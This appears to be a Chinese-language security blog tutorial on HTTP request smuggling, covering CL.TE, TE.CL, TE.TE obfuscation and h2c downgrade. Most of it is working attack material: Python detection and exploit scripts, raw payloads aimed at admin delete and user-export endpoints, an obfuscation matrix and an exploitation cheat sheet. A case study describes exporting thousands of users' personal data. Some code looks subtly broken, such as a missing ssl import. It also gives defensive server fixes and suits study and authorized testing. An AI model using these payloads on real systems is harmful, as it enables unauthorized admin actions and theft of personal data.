PingSec 安全日报

root@pingsec:~$
🟡 渗透测试HTTP请求走私请求走私渗透测试实战教程Web安全

【教程】HTTP请求走私实战:从CL.TE/TE.CL检测到h2c降级利用全解析

📅 2026年6月27日 📁 Hermes Agent ⏱ 6 分钟

适合人群:中级安全测试人员、Bug Bounty Hunter

前置知识:HTTP协议基础、Burp Suite基本操作、Web代理原理

一、前置准备

环境与工具


# 靶场环境(二选一)
# 1. PortSwigger 靶场(推荐,无需部署)
#    https://portswigger.net/web-security/request-smuggling

# 2. 本地靶场部署
git clone https://github.com/vulhub/vulhub.git
cd vulhub/http/CVE-2020-13757  # Apache HTTPD smuggling
docker compose up -d

# 必备工具
# - Burp Suite Professional(Repeater + 插件Turbo Intruder)
# - Python 3 + requests 库
# - curl(HTTP/1.1 原始请求构造)
pip3 install requests

检测脚本


# smuggling_detector.py — 快速检测CL.TE和TE.CL走私
import socket

def check_cl_te(host, port=80, https=False):
    """检测 CL.TE 类型走私"""
    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "Content-Length: 6\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
        "G"
    )
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port if not https else 443))
    if https:
        import ssl
        sock = ssl.wrap_socket(sock)
    sock.sendall(payload.encode())

    try:
        resp = sock.recv(4096).decode(errors='ignore')
        # 如果下一个请求被"G"污染,返回错误 → 存在CL.TE
        return 'timeout' in resp.lower() or '400' in resp[:20]
    except socket.timeout:
        return True  # 超时通常是走私成功的表现
    finally:
        sock.close()

def check_te_cl(host, port=80, https=False):
    """检测 TE.CL 类型走私 — 耗时更长,需发送两个请求"""
    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "Content-Length: 4\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "5c\r\n"
        "GPOST /404 HTTP/1.1\r\n"
        "Content-Length: 15\r\n"
        "\r\n"
        "x=1\r\n"
        "0\r\n"
        "\r\n"
    )
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port if not https else 443))
    if https:
        import ssl
        sock = ssl.wrap_socket(sock)
    sock.sendall(payload.encode())
    sock.settimeout(3)

    try:
        data = b''
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    finally:
        sock.close()

    # 如果第二个请求返回404(被走私的GPOST触发),存在TE.CL
    return b'404' in data

if __name__ == '__main__':
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else 'target.com'
    print(f"[*] 检测 {target}:443")
    print(f"  CL.TE: {check_cl_te(target, 443, https=True)}")
    print(f"  TE.CL: {check_te_cl(target, 443, https=True)}")

二、核心原理

什么是HTTP请求走私?

HTTP请求走私(Request Smuggling)是利用前端代理(CDN/负载均衡/反向代理)与后端服务器对HTTP请求边界解析不一致的漏洞,将恶意请求"走私"到后端,使后端将一个请求中的部分数据解析为下一个请求的开头。

本质原因:HTTP/1.1 协议允许两种方式定义请求边界——

  1. Content-Length(CL):Body 长度由 Content-Length 头部指定
  2. Transfer-Encoding(TE):Body 以 chunked 编码分块,以 0\r\n\r\n 结束

当前端和后端各自选择不同的方式解析时,就产生了走私窗口。

三种基础走私类型

类型前端解析方式后端解析方式危害等级
CL.TE优先用 Content-Length优先用 Transfer-Encoding🔴 高
TE.CL优先用 Transfer-Encoding优先用 Content-Length🔴 高
TE.TETE,但处理chunked方式不同TE,但处理chunked方式不同🟡 中

# CL.TE 示例流量
POST / HTTP/1.1
Host: target.com
Content-Length: 13        ← 前端认为 body 13字节
Transfer-Encoding: chunked ← 后端认为 chunked 编码

0                         ← chunked结束标记(后端认为请求已结束)

SMUGGLED                  ← 前端认为这是POST body的一部分
                          ← 后端认为这是下一个请求的起始

三、实操步骤

场景1:CL.TE 认证绕过


# 步骤1:基础检测
# Burp Suite Repeater 中发送:
POST / HTTP/1.1
Host: redacted.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

POST /admin/delete HTTP/1.1
Host: redacted.target.com
Content-Length: 10

x=

# 步骤2:连续发送两次(第一次"预热",第二次触发走私)
# Burp Repeater 直接点两次 Go,观察第二次的响应

# Python 自动化利用
import requests

def smuggle_cl_te(base_url, smuggle_path):
    """CL.TE 走私 — 请求管理接口删除用户"""
    smuggled = (
        f"POST {smuggle_path} HTTP/1.1\r\n"
        f"Host: {base_url.split('://')[1]}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "Content-Length: 15\r\n"
        "\r\n"
        "username=admin\r\n"
        "0\r\n"
        "\r\n"
    )

    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {base_url.split('://')[1]}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(smuggled)}\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        f"{smuggled}"
    )

    # 发送两次 — 第二次触发
    for i in range(2):
        s = requests.Session()
        s.keep_alive = False
        try:
            r = s.post(base_url, data=payload, timeout=5,
                       headers={"Connection": "keep-alive"})
            print(f"[{i+1}] Status: {r.status_code}")
        except Exception as e:
            print(f"[{i+1}] {e}")

smuggle_cl_te("https://redacted.target.com", "/admin/delete")

场景2:TE.CL 绕过前端ACL


# TE.CL:前端用TE解析 → 认为整个请求合法
#         后端用CL解析 → 认为body在第4字节结束,后续内容走私

POST / HTTP/1.1
Host: redacted.target.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /admin HTTP/1.1
Content-Length: 10

x=
0

# 关键区别:5c 是 92 的十六进制,代表后续92字节是chunk内容
# 前端解析chunked:完整读取92字节chunk + 0结束标记
# 后端解析CL:只读4字节,剩下的"GPOST /admin..."成为下一个请求

场景3:TE.TE 混淆绕过

当前后端都支持TE但处理方式不同时,可以通过混淆chunked标记实现:


# 方法1:重复TE头部
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: identity  ← 某些前端取最后一个,后端取第一个

# 方法2:头部值加空格/混淆
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked\r\n    ← 空格在\r前
Transfer-Encoding:[TAB]chunked   ← Tab替代空格

# 方法3:修改Transfer-Encoding大小写混合
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: xchunked      ← x前缀使前端忽略
Transfer-Encoding:[空格]chunked   ← 后端仍解析

四、绕过技术

4.1 头部混淆矩阵

混淆方式Payload适用场景
重复CLContent-Length: 0\r\nContent-Length: 100CL.CL冲突
截断CLContent-Length: 100\r\nContent-Length: 0前端取第一个
换行变体Transfer-Encoding:\r\n\tchunked处理空白符差异
编码混淆%54%72%61%6e... → URL编码Nginx/Apache差异
多值TETransfer-Encoding: x\r\nTransfer-Encoding: chunked取第一个/最后一个差异

4.2 HTTP/2 降级走私

现代服务器多使用HTTP/2,但反向代理与后端之间可能降级为HTTP/1.1:


# HTTP/2 → HTTP/1.1 降级走私(h2c smuggling)
# 利用HTTP/2的伪头部(:method, :path)注入CRLF
:method POST
:path / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n

# h2c smuggling 检测
import h2.connection
import h2.events
import socket

def try_h2c_smuggle(host, port=443):
    """通过HTTP/2连接尝试H2C降级走私"""
    conn = h2.connection.H2Connection()
    sock = socket.create_connection((host, port))
    sock = ssl.wrap_socket(sock)
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())

    smuggled_path = "/ HTTP/1.1\r\nTransfer-Encoding: chunked\r\nHost: " + host

    headers = [
        (':method', 'POST'),
        (':path', smuggled_path),  # CRLF注入点
        (':authority', host),
        (':scheme', 'https'),
        ('content-length', '0'),
    ]

    stream_id = conn.get_next_available_stream_id()
    conn.send_headers(stream_id, headers)
    sock.sendall(conn.data_to_send())

    # 读取响应
    data = b''
    while True:
        chunk = sock.recv(65535)
        if not chunk:
            break
        data += chunk
        events = conn.receive_data(chunk)
        for event in events:
            if isinstance(event, h2.events.ResponseReceived):
                print(f"Stream {event.stream_id}: {event.headers}")

    sock.close()
    return b'404' in data or b'error' in data

五、实战案例复盘

案例:某CDN保护的电商平台(已脱敏)

发现过程

  1. 观察到 CDN-cache: HIT/MISS 头部,确定前端是CDN缓存层
  2. 基础检测发现CL.TE存在(响应延迟差2-3秒)
  3. 利用走私绕过 /admin 路径的WAF限制

利用链


# Step 1:确认走私存在 → 发送后下一请求返回"Unrecognized method GPOST"
# Step 2:构造免杀payload → 使用分块+填充混淆
POST / HTTP/1.1
Host: target.com
Content-Length: TOTAL_LEN
Transfer-Encoding: chunked

CHUNK_SIZE_HEX
GPOST /admin/export-users HTTP/1.1
Content-Length: 50

x=1
0

# Step 3:导出用户数据 → 后台返回5000+用户信息(姓名+手机+地址)
# Step 4:上报厂商 → 48小时修复,获高危漏洞赏金

关键经验

  • 不要直接走私恶意请求 — 先走私无害检测确认存在性
  • 在chunked body中使用填充字节(x=1)对齐长度
  • 部分CDN需要Connection: keep-alive才复用连接

六、防御建议

服务端修复


# Nginx 配置修复
location / {
    # 拒绝多个Content-Length
    if ($http_content_length ~* ',') {
        return 400;
    }
    # 拒绝Transfer-Encoding: chunked中的混淆
    proxy_pass http://backend;
    proxy_http_version 1.1;
}

# 或使用 OpenResty + lua 规则校验

# Python WSGI 中间件防御
class SmugglingProtectionMiddleware:
    def __init__(self, app):
        self.app = app

    def __call__(self, environ, start_response):
        # 检查是否同时有CL和TE
        has_cl = 'CONTENT_LENGTH' in environ
        has_te = environ.get('HTTP_TRANSFER_ENCODING', '').lower() == 'chunked'

        if has_cl and has_te:
            start_response('400 Bad Request', [('Content-Type', 'text/plain')])
            return [b'Request smuggling detected']

        if environ.get('HTTP_TRANSFER_ENCODING', '').lower() == 'chunked':
            # 丢弃所有Transfer-Encoding头部,后端统一用CL
            pass

        return self.app(environ, start_response)

修复清单

措施优先级实施方式
统一使用HTTP/2🔴 高禁用HTTP/1.1降级
拒绝重复CL/TE头🔴 高WAF规则 / 代理层拦截
后端标准化请求🟡 中重写解析逻辑,统一用CL
禁用Connection复用🟢 低关闭Keep-Alive

七、常见陷阱

❌ 陷阱1:单次检测误判


# 不要只发一个请求就下结论
# 有些CDN需要"预热"(第一个请求建立连接)
# ✅ 正确做法:连续发3-5次取统计
for i in $(seq 1 5); do
    curl -s --raw "$PAYLOAD" https://target.com/ | head -1
done

❌ 陷阱2:Content-Length计算错误


# 计算走私payload的长度时,忽略了解析差异
# 某些proxy会在CL中计入\r\n,有些不计入
# ✅ 用脚本精确计算
python3 -c "
smuggled = '''POST /admin HTTP/1.1
Host: x

0
'''
print(len(smuggled.encode('utf-8')))
"

❌ 陷阱3:HTTPS环境忽略SSL


# ⚠️ 裸socket发送走私payload时,HTTPS需要先wrap
# ❌ 直接用原始socket连接443端口
sock.connect((host, 443))
sock.send(payload)  # SSL握手失败!数据被加密传输

# ✅ 正确做法
import ssl
ctx = ssl.create_default_context()
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.sendall(payload.encode())

❌ 陷阱4:忽略chunked编码大小写


# 某些后端只识别 "Transfer-Encoding: chunked"
# 如果前端改写为 "transfer-encoding: CHUNKED",后端可能忽略
# ✅ 结合前端改写规则,测试多种大小写组合

八、总结(含速查表)

检测速查表

类型检测Payload判断方式
CL.TECL=6, TE=chunked, body="0\r\n\r\nG"下一请求报400或超时
TE.CLCL=4, TE=chunked, body="5c\r\nGPOST..."下一请求返回404
TE.TE混淆TE值(重复/加空格/截断)同一payload不同响应
H2CHTTP/2伪头部CRLF注入响应异常或连接重置

利用速查表

目标Payload技巧工具
WAF绕过走私到内网管理接口Burp Repeater + Turbo Intruder
缓存投毒走私+响应头注入Smuggler.py
用户数据泄露走私 + 响应拆分HTTP Request Smuggler (Burp)
ACL绕过走私伪造X-Forwarded-For自定义Python脚本

权威资源

  • PortSwigger: https://portswigger.net/web-security/request-smuggling
  • HTTP Request Smuggler (Burp Plugin)
  • Smuggler.py: https://github.com/defparam/smuggler
  • 论文: https://i.blackhat.com/us-18/Thu-August-9/us-18-Klein-Practical-HTTP-Request-Smuggling.pdf
← 返回首页